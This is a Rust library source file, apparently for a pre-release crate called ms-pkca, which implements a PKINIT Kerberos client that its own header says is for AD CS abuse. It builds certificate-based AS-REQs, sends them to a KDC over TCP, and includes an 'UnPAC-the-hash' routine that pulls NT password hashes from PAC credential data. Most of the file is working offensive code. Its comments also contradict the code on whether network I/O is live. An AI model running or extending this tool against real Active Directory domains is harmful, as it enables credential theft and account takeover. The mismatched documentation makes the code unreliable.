ms-pkca 0.1.0-dev

PKINIT (RFC 4556) client — PA-PK-AS-REQ / PA-PK-AS-REP with X.509 cert + UnPAC-the-hash (pre-alpha)
Documentation
//! # ms-pkca (pre-alpha)
//!
//! PKINIT (RFC 4556) client for AD CS abuse — PA-PK-AS-REQ construction, DH
//! shared-secret derivation, PA-PK-AS-REP parsing, and the "UnPAC-the-hash"
//! primitive.
//!
//! **STATUS: 0.1.0-dev** — offline structural encode + partial DH/KDF/PAC
//! primitives.  No network I/O.  Not yet wire-compatible against a real KDC;
//! that work needs live-DC iteration (planned 0.2).
//!
//! ## Modules
//! * [`dh`]      — RFC 4556 §3.2.1 Modp1024/Modp2048 groups + keypair
//! * [`kdf`]     — RFC 4556 §3.2.3.1 octet-string-to-key
//! * [`cms`]     — minimal RFC 5652 SignedData/ContentInfo encoders
//! * [`pkinit`]  — AuthPack / PKAuthenticator / PA-PK-AS-REQ builder
//! * [`pac`]     — PAC_CREDENTIAL_INFO parse + NT-hash extraction
//! * [`oid`]     — PKINIT / CMS object identifiers
//! * [`error`]   — [`Error`]/[`Result`]
//!
//! ## Minimal example
//! ```no_run
//! use ms_pkca::{PkinitClient, AsRepResult};
//! let client = PkinitClient::new("EXAMPLE.COM", "dc01.example.com:88");
//! let cert_pem = std::fs::read("client.pem").unwrap();
//! let key_pem  = std::fs::read("client.key").unwrap();
//! // In 0.1.0-dev this returns a placeholder AsRepResult — no network is done.
//! let rep = client.request_tgt_with_cert(&cert_pem, &key_pem, "alice@example.com").unwrap();
//! ```

pub mod cms;
pub(crate) mod der_walk;
pub mod dh;
pub mod enveloped;
pub mod error;
pub mod kdf;
#[cfg(feature = "network")]
pub mod network;
pub mod oid;
pub mod pac;
pub mod pkinit;

pub use error::{Error, Result};

use der::asn1::GeneralizedTime;
use der::DecodePem;
use rsa::{pkcs1::DecodeRsaPrivateKey, pkcs8::DecodePrivateKey, RsaPrivateKey};
use x509_cert::Certificate;

/// Result of a (would-be) AS-REQ / AS-REP exchange.
///
/// In 0.1.0-dev the `ticket` field carries the DER of the PA-PK-AS-REQ we would
/// have sent (so callers can drive their own network I/O), and `session_key`
/// is empty — real values will be filled in 0.2 when the Kerberos AS-REP
/// parser lands.
#[derive(Debug, Clone, Default)]
pub struct AsRepResult {
    /// TGT bytes (empty in 0.1.0-dev — placeholder).
    pub ticket: Vec<u8>,
    /// Derived Kerberos session key (empty in 0.1.0-dev — placeholder).
    pub session_key: Vec<u8>,
    /// Encrypted PAC_CREDENTIAL_INFO blob if returned (None until AS-REP parsing lands).
    pub pac_credential_info: Option<Vec<u8>>,
    /// **Debug aid** — the DER of the PA-PK-AS-REQ we constructed. Not part of
    /// the stable API; will be removed once network I/O is real.
    pub debug_as_req_der: Vec<u8>,
}

/// PKINIT client — realm + KDC endpoint.
///
/// Network I/O is stubbed in 0.1.0-dev; the client currently *builds* the
/// PA-PK-AS-REQ and returns it inside `AsRepResult::debug_as_req_der` so
/// callers or tests can inspect the bytes.
#[derive(Debug, Clone)]
pub struct PkinitClient {
    pub realm: String,
    pub kdc: String,
}

impl PkinitClient {
    pub fn new(realm: impl Into<String>, kdc: impl Into<String>) -> Self {
        Self {
            realm: realm.into(),
            kdc: kdc.into(),
        }
    }

    /// Build a PA-PK-AS-REQ using a PEM cert + PEM RSA private key.
    ///
    /// With the `network` feature (default), this connects to `self.kdc` over
    /// TCP, sends the AS-REQ framed per RFC 4120 §7.2.2, parses the AS-REP,
    /// runs the DH or RSA reply-key derivation, and returns the ticket +
    /// derived session key.
    ///
    /// With `network` disabled, this returns an [`Error::NetworkDisabled`];
    /// use [`pkinit::build_pa_pk_as_req`] to get the PA-PK-AS-REQ DER for
    /// caller-driven I/O.
    ///
    /// `upn` is the client-principal (e.g. `"alice"`), used to fill AS-REQ
    /// cname.  Realm comes from `self.realm`.
    pub fn request_tgt_with_cert(
        &self,
        cert_pem: &[u8],
        key_pem: &[u8],
        upn: &str,
    ) -> Result<AsRepResult> {
        let cert = Certificate::from_pem(cert_pem)
            .map_err(|e| Error::X509(format!("parse client cert: {e}")))?;
        let key = load_rsa_key(key_pem)?;

        // Deterministic-ish ctime for testability; a real caller would use
        // current UTC.  We accept the small skew here for the no-network path;
        // the wire path below fixes it.
        let ctime = GeneralizedTime::from_date_time(
            der::DateTime::new(2026, 1, 1, 0, 0, 0)
                .map_err(|e| Error::Unsupported(format!("time: {e}")))?,
        );
        let nonce: u32 = 0xDEADBEEF;

        #[cfg(feature = "network")]
        {
            // Compute the SHA-1 checksum over the DER of the KDC-REQ-BODY we
            // are about to send (RFC 4556 §3.2.1).  This has to happen BEFORE
            // building PA-PK-AS-REQ, because the PkAuthenticator inside the
            // CMS-signed AuthPack carries the digest and the KDC verifies it
            // against the body it receives.
            let till = picky_asn1::date::GeneralizedTime::new(2038, 1, 1, 0, 0, 0)
                .ok_or_else(|| Error::Unsupported("till time out of range".into()))?;
            let etypes: [i32; 3] = [18, 17, 23]; // aes256, aes128, rc4-hmac
            let cname_parts = [upn];
            let realm_upper = self.realm.to_ascii_uppercase();
            let sname_parts: [&str; 2] = ["krbtgt", &realm_upper];
            let mut req_opts = network::AsReqOpts {
                realm: &self.realm,
                cname: &cname_parts,
                sname: &sname_parts,
                pa_pk_as_req_der: &[], // filled in after we build it
                nonce,
                till: picky_asn1::wrapper::GeneralizedTimeAsn1::from(till),
                etypes: &etypes,
            };
            let body_sha1 = network::compute_as_req_body_checksum(&req_opts)?;

            let opts = pkinit::BuildOptions {
                client_cert: &cert,
                client_key: &key,
                dh_group: dh::DhGroup::Modp2048,
                as_req_body_checksum: Some(body_sha1.to_vec()),
                ctime,
                cusec: 0,
                nonce,
            };
            let (pa_pk_as_req_der, dh) = pkinit::build_pa_pk_as_req(&opts)?;

            req_opts.pa_pk_as_req_der = &pa_pk_as_req_der;
            let req = network::build_as_req(&req_opts)?;
            let reply = network::tcp_exchange(&self.kdc, &req, std::time::Duration::from_secs(15))?;
            let key_bytes_for_etype = 32; // aes256 default; refine when we parse enc-part etype
            let mut out = network::process_as_rep(&reply, &dh, &key, nonce, key_bytes_for_etype)?;
            out.debug_as_req_der = pa_pk_as_req_der;
            return Ok(out);
        }

        #[cfg(not(feature = "network"))]
        {
            let opts = pkinit::BuildOptions {
                client_cert: &cert,
                client_key: &key,
                dh_group: dh::DhGroup::Modp2048,
                // Without the `network` feature we cannot build the KDC-REQ-BODY
                // (no picky-krb dep), so the checksum is unavoidably absent.
                // Callers driving their own I/O compute it themselves.
                as_req_body_checksum: None,
                ctime,
                cusec: 0,
                nonce,
            };
            let (pa_pk_as_req_der, _dh) = pkinit::build_pa_pk_as_req(&opts)?;
            let _ = upn;
            return Ok(AsRepResult {
                ticket: Vec::new(),
                session_key: Vec::new(),
                pac_credential_info: None,
                debug_as_req_der: pa_pk_as_req_der,
            });
        }
    }

    /// PFX / PKCS#12 loader — NOT implemented in 0.1.0-dev.
    ///
    /// PKCS#12 parsing needs another dep (`p12` or hand-rolled) plus MAC
    /// verification.  Deferred to keep the dep graph tight.  Convert your PFX
    /// to PEM (`openssl pkcs12 -in x.pfx -out x.pem -nodes`) and use
    /// [`Self::request_tgt_with_cert`].
    pub fn request_tgt_with_pfx(&self, _pfx: &[u8], _password: &str) -> Result<AsRepResult> {
        Err(Error::PfxUnsupported)
    }
}

/// UnPAC-the-hash — pull the NT hash out of a **decrypted** PAC_CREDENTIAL_DATA
/// blob returned inside PA-PK-AS-REP.
///
/// The caller is responsible for the Kerberos decryption step (session key +
/// etype from the AS-REP).  In 0.1.0-dev we operate on the *decrypted*
/// bytes directly to keep this primitive testable without a live DC.
pub fn unpac_the_hash(decrypted_credential_data: &[u8]) -> Result<[u8; 16]> {
    pac::extract_nt_hash_from_credential_data(decrypted_credential_data)
}

/// Convenience wrapper that operates on an [`AsRepResult`] — will succeed once
/// the AS-REP parser + decryption is wired in 0.2.  For now it forwards to
/// [`unpac_the_hash`] using `pac_credential_info` as if it were already
/// decrypted.
pub fn unpac_the_hash_from_asrep(rep: &AsRepResult) -> Result<[u8; 16]> {
    let blob = rep
        .pac_credential_info
        .as_deref()
        .ok_or_else(|| Error::PacParse("AsRepResult carries no PAC_CREDENTIAL_INFO".into()))?;
    unpac_the_hash(blob)
}

fn load_rsa_key(pem: &[u8]) -> Result<RsaPrivateKey> {
    let s = std::str::from_utf8(pem).map_err(|e| Error::Pem(e.to_string()))?;
    // Try PKCS#8 first (BEGIN PRIVATE KEY), then PKCS#1 (BEGIN RSA PRIVATE KEY).
    if let Ok(k) = RsaPrivateKey::from_pkcs8_pem(s) {
        return Ok(k);
    }
    RsaPrivateKey::from_pkcs1_pem(s).map_err(|e| Error::Pem(format!("RSA key: {e}")))
}